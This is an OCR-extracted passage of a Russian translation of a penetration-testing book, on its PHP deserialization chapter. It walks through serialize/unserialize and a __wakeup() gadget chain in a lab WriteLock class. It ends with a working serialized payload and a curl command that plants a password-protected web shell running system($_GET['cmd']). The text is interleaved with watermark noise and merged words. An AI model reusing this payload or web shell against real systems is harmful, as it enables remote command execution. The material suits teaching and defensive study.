Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

Глава 8

 

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Вредоносная сериализация

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Сериализация объектов – интересная концепция в программировании, целью­ которой является извлечение структурированных реальных данных из памяти и обеспечение возможности их передачи по сети или их хранения гделибо для дальнейшего использования. Например, объект,такой как структура, отвечающая за соединение приложения с базой данных,может быть сериализован – преобразован в простой для передачи поток байтов, такой как строка

вудобочитаемом формате. Строковое представление этой структуры памяти теперь можно легко записать в текстовый файл или отправить в другое веб- приложениепоHTTP-протоколу.Затемсериализованнаястрокаданныхможет быть использована для создания в памяти экземпляра объекта соединения с базой данных с предварительно заполненными свойствами, такими как имя базы данных или учетные данные.Принимающее веб-приложение может воссоздать исходную структуру путем десериализации строки байтов. Сериализацию еще называют маршалингом, «консервацией» (pickling) или выравниванием. Она используется во многих языках, в том числе в Java, PHP, Python и Ruby.

Взависимости от языка сериализованные данные могут быть представлены

ввиде текста в удобочитаемом формате, двоичного потока или их комбинации. Существует множество применений сериализации объектов, таких как межпроцессное и межсистемное взаимодействие, кеширование данных или их сохраняемость.

Вэтой главе мы рассмотрим следующие темы:

процесс десериализации;анализ кода уязвимого приложения;

использование десериализации для достижения выполнения кода.

Использование десериализации

Использование десериализации базируется на встроенных методах, которые выполняются автоматически, когда объект создается или уничтожается. Например, PHP предоставляет несколько таких методов для каждого объекта:

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

__construct();

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

Использование десериализации 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

187 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

__destruct();__toString();__wakeup()

и т.д.

При создании нового объекта вызывается метод __construct(). Когда новый объект уничтожается или когда собирают мусор, метод __destruct() выполняется автоматически. Метод __toString() предоставляет способ преобразования объекта в строку. Это отличается от сериализации, поскольку не существует метода, чтобы прочитать данные обратно, например что-то вроде __fromString(). Метод __wakeup() выполняется,когда объектдесериализуется и создается в памяти.

PHP предоставляет возможности сериализации с помощью функций serialize() и unserialize(). Вывод представляет собой строку в удобочитаемом формате, которую можно легко передать по HTTP или другим протоколам. Вывод строки описывает объект, его свойства и значения. PHP может сериализовать­ логические, массивные, целочисленные, двойные и строковые переменные и даже инстанцированные классы (объекты).

В приведенном ниже примере попытаемся сериализовать простой объект array, содержащий две пары типа «ключ–значение»: database со значением users и host со значением 127.0.0.1. Исходный код для создания этой структуры массива в памяти выглядиттак:

array(

'database' => 'users', 'host' => '127.0.0.1'

)

Когда исходный код компилируется и выполняется механизмом PHP,объект array сохраняется в структуре памяти где-то в оперативном запоминающем устройстве, и только процессор знает, как получить к нему доступ. Если нам нужно передать массив на другую машину, например по HTTP-протоколу, необходимо найти все байты в памяти, которые представляют его, упаковать их иотправить,используяGET-запросиличто-либоаналогичное.Вотздесьвдело вступает сериализация.

Функция serialize() в PHP делает для нас именно это: находит структуру массивавпамятиивозвращаетеестроковоепредставление.Можнопроверить это с помощью двоичного файла php на машине с Linux и с помощью опции -r попросить его сериализоватьнаш массив и вернутьстроку.PHP-код отобразит результаты на экране.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 188  Глава 8.Вредоносная сериализация

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

root@kali:~# php -r "echo serialize(array('database' => 'users',

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

'host' => '127.0.0.1'));" a:2:{s:8:"database";s:5:"users";s:4:"host";s:9:"127.0.0.1";}

Вывод, разделенный двоеточием, следует читатьтак:

сериализованные данные, которые идутдалее, являются массивом (a);в массиве есть два элемента;элементы заключены в фигурные скобки ({}) и разделены точкой с за-

пятой (;);

первый ключ элемента – это строка (s) длиной 8 с именем database. Его значение – строка (s) длиной 5:users;

второй ключ – это строка (s) длиной 4 с именем host. Его значение – строка (s) длиной 9:127.0.0.1.

Эти сериализованные данные могут использоваться совместно разными системами­ в сети или храниться в базе данных. После получения структуру массива можно перестроить (конвертировать), используя уже заполненные значения.Сериализованные объекты,созданные из классов,ничем не отличаются от объектов массива, они просто содержат еще несколько полей в сериализованном результате.

Возьмем класс WriteLock, целью которого является создание файла блокировки в каталоге /tmp после его десериализации. Это приложение будет хра-

ниться в каталоге /var/www/html/lockapp.

Ниже приводится код класса WriteLock.

Рис.8.1. Определение класса WriteLock

Возможно, он выглядит несколько устрашающе для тех, кто не относит себя кразработчикам,нонасамомделездесьнетничегосложного.КлассWriteLock содержит две общедоступные функции (или метода): write() и __wakeup(). Функция write() записывает строку app_in_use в файл /tmp/lockfile на

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Использование десериализации  189 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

диске, используя встроенную функцию file_put_contents. Метод __wakeup()

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

просто проверяет свойства и выполняет функцию write() в текущем объекте

 

 

 

 

 

 

 

 

 

 

 

 

($this). Идея заключается в том, что файл блокировки, /tmp/lockfile, будет

 

 

 

 

 

 

 

 

 

 

 

 

созданавтоматически,когдаобъектWriteLock будетвоссозданвпамятипутем

 

 

 

 

 

 

 

 

 

 

 

 

десериализации.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вначале мы видим, как выглядит объект WriteLock, когда он сериализован

 

 

 

 

 

 

 

 

 

 

 

 

и готов к передаче. Помните, что метод __wakeup() будет выполняться только

 

 

 

 

 

 

 

 

 

 

 

 

при десериализации, а не при создании объекта.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В приведенный ниже код будет входить определение WriteLock, чтобы мы

 

 

 

 

 

 

 

 

 

 

 

 

могли создать объект $lock из класса WriteLock с помощью ключевого сло-

 

 

 

 

 

 

 

 

 

 

 

 

ва new. Последняя строка кода отобразит или вернет сериализованный объект

 

 

 

 

 

 

 

 

 

 

 

 

$lock на экран для проверки.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ниже приводится содержимое файла serialize.php, используемого для

 

 

 

 

 

 

 

 

 

 

 

 

тестирования­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Рис.8.2. Исходный код для сериализации объекта WriteLock

Вывод сериализованного объекта $lock выглядиттак же,как в предыдущем примере с массивом. Для ясности скажем, что следующий далее код был очищен и содержит отступы, однако типичный сериализованный объект не будет содержать форматирование,такое как отступы и переводы строки.

Выполним файл serialize.php с использованием интерпретатора php и посмотрим на результат.

root@kali:/var/www/html/lockapp# php serialize.php

O:9:"WriteLock":2:{

s:4:"file";

s:13:"/tmp/lockfile";

s:8:"contents"; s:10:"app_in_use";

}

Первые несколько байтов обозначают созданный из класса WriteLock объект (o),который содержитдва свойства,а также их соответствующие значения и длины. Следует отметить один момент: для закрытых (private) членов клас-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 190  Глава 8.Вредоносная сериализация

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

сов к именам добавляется имя класса, заключенное в нулевые байты. Если бы

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

свойства класса WriteLock $file и $content были закрытыми, сериализованный объект выглядел бы так:

O:9:"WriteLock":2:{ s:4:"\x00WriteLock\x00file";

s:13:"/tmp/lockfile"; s:8:"\x00WriteLock\x00contents";

s:10:"app_in_use";

}

Нулевые байты обычно не видны в стандартном выводе. В предыдущем примере байты были заменены их шестнадцатеричным эквивалентом \x00 для ясности. Если в нашу полезную нагрузку входят закрытые члены, нам, возможно, понадобится учесть эти байты при передаче нагрузок с помощью средств,которые интерпретируют нулевые байты в качестве ограничителей строки. Как правило, когда речь идет о HTTP, можно экранировать нулевые байты, используя знак процента, который предшествует шестнадцатеричному представлению нуля, 00. Вместо \x00 в случае с HTTP просто будем использовать %00.

Ниже приведен пример уязвимой реализации класса WriteLock. Код получает сериализованный объект WriteLock через суперглобальную переменную $_GET. Параметром, содержащим сериализованный объект, является lock, который хранится в переменной с именем $data. Этот сериализованный объект затем десериализуется с помощью функции unserialize() в попытке восстановить состояние объекта WriteLock в памяти.

Приведенный ниже код будет храниться в файле index.php. Он иллюстрирует уязвимую реализацию десериализации объекта,которую мы попытаемся эксплуатировать. Данные в переменной $_GET поступают непосредственно из пользовательского ввода и передаются как есть в функцию unserialize()/.

Рис.8.3. Исходный код десериализации объекта

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Использование десериализации  191 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

На самом деле нельзя вызвать метод

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

write(), предоставляемый классом

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

WriteLock при эксплуатации десериализации. У нас есть только контроль над свойствами нового объекта.Однако благодаря магическим методам PHP нам не нужно напрямую вызывать функцию write(), поскольку, как вы помните, метод __wakeup() делает это за нас. Магические методы вызываются автоматически на разных этапах жизненного цикла объекта: при создании,разрушении, восстановлении из сериализованного состояния (wakeup) или сериализации реальных данных (sleep).

В программировании, ориентированном на свойства (POP), цепочка гаджетов (gadget chain) – это последовательность методов из существующего кода, необходимая для успешного захвата потока выполнения приложения и выполнения злонамеренных действий. В нашем очень простом примере цепочка гаджетов, которую мы запускаем, представляет собой быстрый переход от магического метода __wakeup() к функции write().

Ниже показан поток выполнения последесериализации объекта с помощью функции unserialize().

Рис.8.4. POP-гаджет в классе WriteLock

Выглядитнеоченьвпечатляюще,ностехническойточкизренияэтоцепочка гаджетов.

Если мы контролируем только свойства объекта, $file и $contents, как эксплуатировать эту уязвимость? Что,если попытаться записать $contents в другой каталог и файл вместо /tmp? Поскольку мы контролируем оба этих значения, можем обработать наш сериализованный объект так, чтобы он указывал на файл в корневом каталоге приложения,например /var/www/html/lockapp/ shell.php, вместо временной папки и сделать его содержимое простой вебоболочкой. Когда наш вредоносный объект будет десериализован, метод __wakeup() принудительновызоветфункциюwrite() изнашейPHP-оболочки

в /var/www/html/lockapp/shell.php вместо /tmp/lockfile.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 192  Глава 8.Вредоносная сериализация

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Запустим простой веб-сервер и воплотим в жизнь приложение WriteLock.

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

Интерпретаторphpможетфункционироватькакавтономныйсерверразработки с параметром -S,так же как SimpleHTTPServer в Python,с дополнительным преимуществом – он отрабатывает файлы с расширением .php при запросе.

Мы можем использовать команду php для прослушивания на порту 8181 в локальной системе.

root@kali:/var/www/html/lockapp# php -S 0.0.0.0:8181 Listening on http://0.0.0.0:8181

Document root is /var/www/html/lockapp

Press Ctrl-C to quit.

Можноиспользоватьсериализованныйобъектизнашегопредыдущеготеста с serialize.php и просто слегка изменить его. Поменяем значение свойства

file на /var/www/html/lockapp/shell.php,а значение свойства contents –на код оболочки.

Какипрежде,будемиспользоватьтакойкодспростыммеханизмомзащиты пароля.

Рис.8.5. Исходный код веб-оболочки

Значение MD5, которое мы ищем,– это хеш WriteLockTest1, что подтверждается командой Linux md5sum.

root@kali:~# echo -n WriteLockTest1 | md5sum

5d58f5270ce02712e8a620a4cd7bc5d3 - root@kali:~#

Сериализованная полезная нагрузка будет выглядеть так. Код снова содержит отступы,чтобы его было удобно читать.

O:9:"WriteLock":2:{

s:4:"file"; s:31:"/var/www/html/lockapp/shell.php";

s:8:"contents";

s:100:"<?php if (md5($_GET['password']) == '5d58f5270ce02712e8a620a4cd7bc5d3') { system($_GET['cmd']); } ?>";

}

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Использование десериализации 

Мы обновили значение свойств file и contents, а также длину строки, 31 и 100 соответственно. Если указанная длина не соответствует фактической длине значения свойства,атака завершится неудачно.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

193 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Чтобы эксплуатировать уязвимость десериализации в надежде разместить PHP-оболочку в корневом каталоге документов, можно использовать команду curl для передачи нашей полезной нагрузки через GET-запрос. Это заставит приложение десериализовать ненадежные данные и создать объект с опасными значениями свойств.

Мы можем вызвать команду curl, используя параметр -G, который дает указание выполнить GET-запрос, указать URL-адрес уязвимого приложения, а такжепередатьзначениеlock,закодированноеURLспомощьюопции--data-

urlencode.

Нашисериализованныеданныесодержатодинарныекавычки,которыемогут помешать выполнению curl с помощью командной строки bash. Нужно позаботиться о том,чтобы экранировать их,используя обратную косую черту (\ ').

root@kali:~# curl -G http://0.0.0.0:8181/index.php --data-urlencode $'lock=O:9:"WriteLock":2:

{s:4:"file";s:31:"/var/www/html/lockapp/shell.php";s:8:"contents"; s:100:"<?php if (md5($_GET[\'password\']) == \'5d58f5270ce02712e8a620a4cd7bc5d3\') { system($_GET[\'cmd\']); } ?>";}'

Lock initiated.

В ответ приложение выдает сообщение Lock initiated, как и ожидалось. Если эксплойт был успешным, мы должны получить доступ к оболочке через веб-браузер,поскольку файл shell.php был бы написан с использованием це-

почки __wakeup() -> write() в каталоге /var/www/html/lockapp.

Рис.8.6. Оболочка успешно выполняет программу id и отображает результат выполнения